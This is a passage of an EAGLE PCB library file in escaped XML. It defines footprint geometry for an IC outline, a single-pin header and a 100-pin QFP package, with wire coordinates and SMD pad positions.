layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"4.064\" x2=\"-3.0988\" y2=\"4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"4.064\" x2=\"-3.0988\" y2=\"3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"3.556\" x2=\"-2.0066\" y2=\"3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"2.286\" x2=\"-2.0066\" y2=\"2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"2.794\" x2=\"-3.0988\" y2=\"2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"2.794\" x2=\"-3.0988\" y2=\"2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"2.286\" x2=\"-2.0066\" y2=\"2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"1.016\" x2=\"-2.0066\" y2=\"1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"1.524\" x2=\"-3.0988\" y2=\"1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"1.524\" x2=\"-3.0988\" y2=\"1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"1.016\" x2=\"-2.0066\" y2=\"1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-0.254\" x2=\"-2.0066\" y2=\"0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"0.254\" x2=\"-3.0988\" y2=\"0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"0.254\" x2=\"-3.0988\" y2=\"-0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-0.254\" x2=\"-2.0066\" y2=\"-0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-1.524\" x2=\"-2.0066\" y2=\"-1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-1.016\" x2=\"-3.0988\" y2=\"-1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-1.016\" x2=\"-3.0988\" y2=\"-1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-1.524\" x2=\"-2.0066\" y2=\"-1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-2.794\" x2=\"-2.0066\" y2=\"-2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-2.286\" x2=\"-3.0988\" y2=\"-2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-2.286\" x2=\"-3.0988\" y2=\"-2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-2.794\" x2=\"-2.0066\" y2=\"-2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-4.064\" x2=\"-2.0066\" y2=\"-3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-3.556\" x2=\"-3.0988\" y2=\"-3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-3.556\" x2=\"-3.0988\" y2=\"-4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-3.0988\" y1=\"-4.064\" x2=\"-2.0066\" y2=\"-4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-3.556\" x2=\"2.0066\" y2=\"-4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-4.064\" x2=\"3.0988\" y2=\"-4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-4.064\" x2=\"3.0988\" y2=\"-3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-3.556\" x2=\"2.0066\" y2=\"-3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-2.286\" x2=\"2.0066\" y2=\"-2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-2.794\" x2=\"3.0988\" y2=\"-2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-2.794\" x2=\"3.0988\" y2=\"-2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-2.286\" x2=\"2.0066\" y2=\"-2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-1.016\" x2=\"2.0066\" y2=\"-1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-1.524\" x2=\"3.0988\" y2=\"-1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-1.524\" x2=\"3.0988\" y2=\"-1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-1.016\" x2=\"2.0066\" y2=\"-1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"0.254\" x2=\"2.0066\" y2=\"-0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-0.254\" x2=\"3.0988\" y2=\"-0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"-0.254\" x2=\"3.0988\" y2=\"0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"0.254\" x2=\"2.0066\" y2=\"0.254\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"1.524\" x2=\"2.0066\" y2=\"1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"1.016\" x2=\"3.0988\" y2=\"1.016\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"1.016\" x2=\"3.0988\" y2=\"1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"1.524\" x2=\"2.0066\" y2=\"1.524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"2.794\" x2=\"2.0066\" y2=\"2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"2.286\" x2=\"3.0988\" y2=\"2.286\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"2.286\" x2=\"3.0988\" y2=\"2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"2.794\" x2=\"2.0066\" y2=\"2.794\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"4.064\" x2=\"2.0066\" y2=\"3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"3.556\" x2=\"3.0988\" y2=\"3.556\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"3.556\" x2=\"3.0988\" y2=\"4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"3.0988\" y1=\"4.064\" x2=\"2.0066\" y2=\"4.064\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-4.3688\" x2=\"2.0066\" y2=\"-4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-4.3688\" x2=\"2.0066\" y2=\"4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"4.3688\" x2=\"0.3048\" y2=\"4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"4.3688\" x2=\"-0.3048\" y2=\"4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.3048\" y1=\"4.3688\" x2=\"-2.0066\" y2=\"4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"4.3688\" x2=\"-2.0066\" y2=\"-4.3688\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"4.3688\" x2=\"-0.3048\" y2=\"4.3688\" width=\"0\" layer=\"51\" curve=\"-180\"/>\n<wire x1=\"-1.2954\" y1=\"-4.3688\" x2=\"1.2954\" y2=\"-4.3688\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.2954\" y1=\"4.3688\" x2=\"0.3048\" y2=\"4.3688\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"4.3688\" x2=\"-0.3048\" y2=\"4.3688\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"4.3688\" x2=\"-1.2954\" y2=\"4.3688\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"4.3688\" x2=\"-0.3048\" y2=\"4.3688\" width=\"0.1524\" layer=\"21\" curve=\"-180\"/>\n<text x=\"-3.302\" y=\"4.2418\" size=\"1.27\" layer=\"21\" ratio=\"6\" rot=\"SR0\">*</text>\n<text x=\"-3.4544\" y=\"-7.62\" size=\"2.0828\" layer=\"27\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</package>\n<package name=\"1X01\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"QFP50P1600X1600X120-100N\">\n<smd name=\"1\" x=\"-7.62\" y=\"5.9944\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"2\" x=\"-7.62\" y=\"5.5118\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"3\" x=\"-7.62\" y=\"5.0038\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"4\" x=\"-7.62\" y=\"4.4958\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"5\" x=\"-7.62\" y=\"3.9878\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"6\" x=\"-7.62\" y=\"3.5052\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"7\" x=\"-7.62\" y=\"2.9972\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"8\" x=\"-7.62\" y=\"2.4892\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"9\" x=\"-7.62\" y=\"2.0066\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"10\" x=\"-7.62\" y=\"1.4986\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"11\" x=\"-7.62\" y=\"0.9906\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"12\" x=\"-7.62\" y=\"0.508\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"13\" x=\"-7.62\" y=\"0\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"14\" x=\"-7.62\" y=\"-0.508\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"15\" x=\"-7.62\" y=\"-0.9906\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"16\" x=\"-7.62\" y=\"-1.4986\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"17\" x=\"-7.62\" y=\"-2.0066\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"18\" x=\"-7.62\" y=\"-2.4892\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"19\" x=\"-7.62\" y=\"-2.9972\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"20\" x=\"-7.62\" y=\"-3.5052\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"21\" x=\"-7.62\" y=\"-3.9878\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"22\" x=\"-7.62\" y=\"-4.4958\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"23\" x=\"-7.62\" y=\"-5.0038\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"24\" x=\"-7.62\" y=\"-5.5118\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"25\" x=\"-7.62\" y=\"-5.9944\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"26\" x=\"-5.9944\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"27\" x=\"-5.5118\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"28\" x=\"-5.0038\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"29\" x=\"-4.4958\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"30\" x=\"-3.9878\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"31\" x=\"-3.5052\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"32\" x=\"-2.9972\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"33\" x=\"-2.4892\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"34\" x=\"-2.0066\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"35\" x=\"-1.4986\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"36\" x=\"-0.9906\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"37\" x=\"-0.508\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"38\" x=\"0\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"39\" x=\"0.508\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"40\" x=\"0.9906\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"41\" x=\"1.4986\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"42\" x=\"2.0066\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"43\" x=\"2.4892\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"44\" x=\"2.9972\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"45\" x=\"3.5052\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"46\" x=\"3.9878\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"47\" x=\"4.4958\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"48\" x=\"5.0038\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"49\" x=\"5.5118\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"50\" x=\"5.9944\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"51\" x=\"7.62\" y=\"-5.9944\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"52\" x=\"7.62\" y=\"-5.5118\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"53\" x=\"7.62\" y=\"-5.0038\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"54\" x=\"7.62\" y=\"-4.4958\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"55\" x=\"7.62\" y=\"-3.9878\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"56\" x=\"7.62\" y=\"-3.5052\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"57\" x=\"7.62\" y=\"-2.9972\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"58\" x=\"7.62\" y=\"-2.4892\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"59\" x=\"7.62\" y=\"-2.0066\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"60\" x=\"7.62\" y=\"-1.4986\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"61\" x=\"7.62\" y=\"-0.9906\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"62\" x=\"7.62\" y=\"-0.508\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"63\" x=\"7.62\" y=\"0\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"64\" x=\"7.62\" y=\"0.508\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"65\" x=\"7.62\" y=\"0.9906\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"66\" x=\"7.62\" y=\"1.4986\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"67\" x=\"7.62\" y=\"2.0066\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"68\" x=\"7.62\" y=\"2.4892\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"69\" x=\"7.62\" y=\"2.9972\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"70\" x=\"7.62\" y=\"3.5052\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"71\" x=\"7.62\" y=\"3.9878\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"72\" x=\"7.62\" y=\"4.4958\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"73\" x=\"7.62\" y=\"5.0038\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"74\" x=\"7.62\" y=\"5.5118\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"75\" x=\"7.62\" y=\"5.9944\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"76\" x=\"5.9944\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"77\" x=\"5.5118\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"78\" x=\"5.0038\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"79\" x=\"4.4958\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"80\" x=\"3.9878\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"81\" x=\"3.5052\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"82\" x=\"2.9972\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"83\" x=\"2.4892\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"84\" x=\"2.0066\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"85\" x=\"1.4986\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"86\" x=\"0.9906\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"87\" x=\"0.508\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"88\" x=\"0\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"89\" x=\"-0.508\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"90\" x=\"-0.9906\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"91\" x=\"-1.4986\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"92\" x=\"-2.0066\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"93\" x=\"-2.4892\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"94\" x=\"-2.9972\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"95\" x=\"-3.5052\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"96\" x=\"-3.9878\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"97\" x=\"-4.4958\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"98\" x=\"-5.0038\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"99\" x=\"-5.5118\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"100\" x=\"-5.9944\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<wire x1=\"-6.477\" y1=\"7.0104\" x2=\"-7.0104\" y2=\"7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.0104\" y1=\"6.477\" x2=\"7.0104\" y2=\"7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"-7.0104\" x2=\"7.0104\" y2=\"-7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.5532\" y1=\"6.1722\" x2=\"-6.1722\" y2=\"6.5532\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.0104\" y1=\"-7.0104\" x2=\"-6.477\" y2=\"-7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.0104\" y1=\"-7.0104\" x2=\"7.0104\" y2=\"-6.477\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.0104\" y1=\"7.0104\" x2=\"6.477\" y2=\"7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.0104\" y1=\"7.0104\" x2=\"-7.0104\" y2=\"6.477\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.0104\" y1=\"-6.477\" x2=\"-7.0104\" y2=\"-7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.8646\" y1=\"1.7018\" x2=\"-8.8646\" y2=\"1.3208\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.8646\" y1=\"1.3208\" x2=\"-8.6106\" y2=\"1.3208\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.6106\" y1=\"1.3208\" x2=\"-8.6106\" y2=\"1.7018\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.8646\" y1=\"-3.302\" x2=\"-8.8646\" y2=\"-3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.8646\" y1=\"-3.683\" x2=\"-8.6106\" y2=\"-3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.6106\" y1=\"-3.683\" x2=\"-8.6106\" y2=\"-3.302\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"-8.6106\" x2=\"-4.191\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"-8.8646\" x2=\"-3.81\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-8.8646\" x2=\"-3.81\" y2=\"-8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.8128\" y1=\"-8.6106\" x2=\"0.8128\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.8128\" y1=\"-8.8646\" x2=\"1.1938\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.1938\" y1=\"-8.8646\" x2=\"1.1938\" y2=\"-8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.8166\" y1=\"-8.6106\" x2=\"5.8166\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.8166\" y1=\"-8.8646\" x2=\"6.1976\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.1976\" y1=\"-8.8646\" x2=\"6.1976\" y2=\"-8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.8646\" y1=\"-1.3208\" x2=\"8.8646\" y2=\"-1.7018\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.8646\" y1=\"-1.7018\" x2=\"8.6106\" y2=\"-1.7018\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.6106\" y1=\"-1.7018\" x2=\"8.6106\" y2=\"-1.3208\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.8646\" y1=\"3.683\" x2=\"8.8646\" y2=\"3.302\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.8646\" y1=\"3.302\" x2=\"8.6106\" y2=\"3.302\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.6106\" y1=\"3.302\" x2=\"8.6106\" y2=\"3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"8.6106\" x2=\"3.81\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"8.8646\" x2=\"4.191\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.191\" 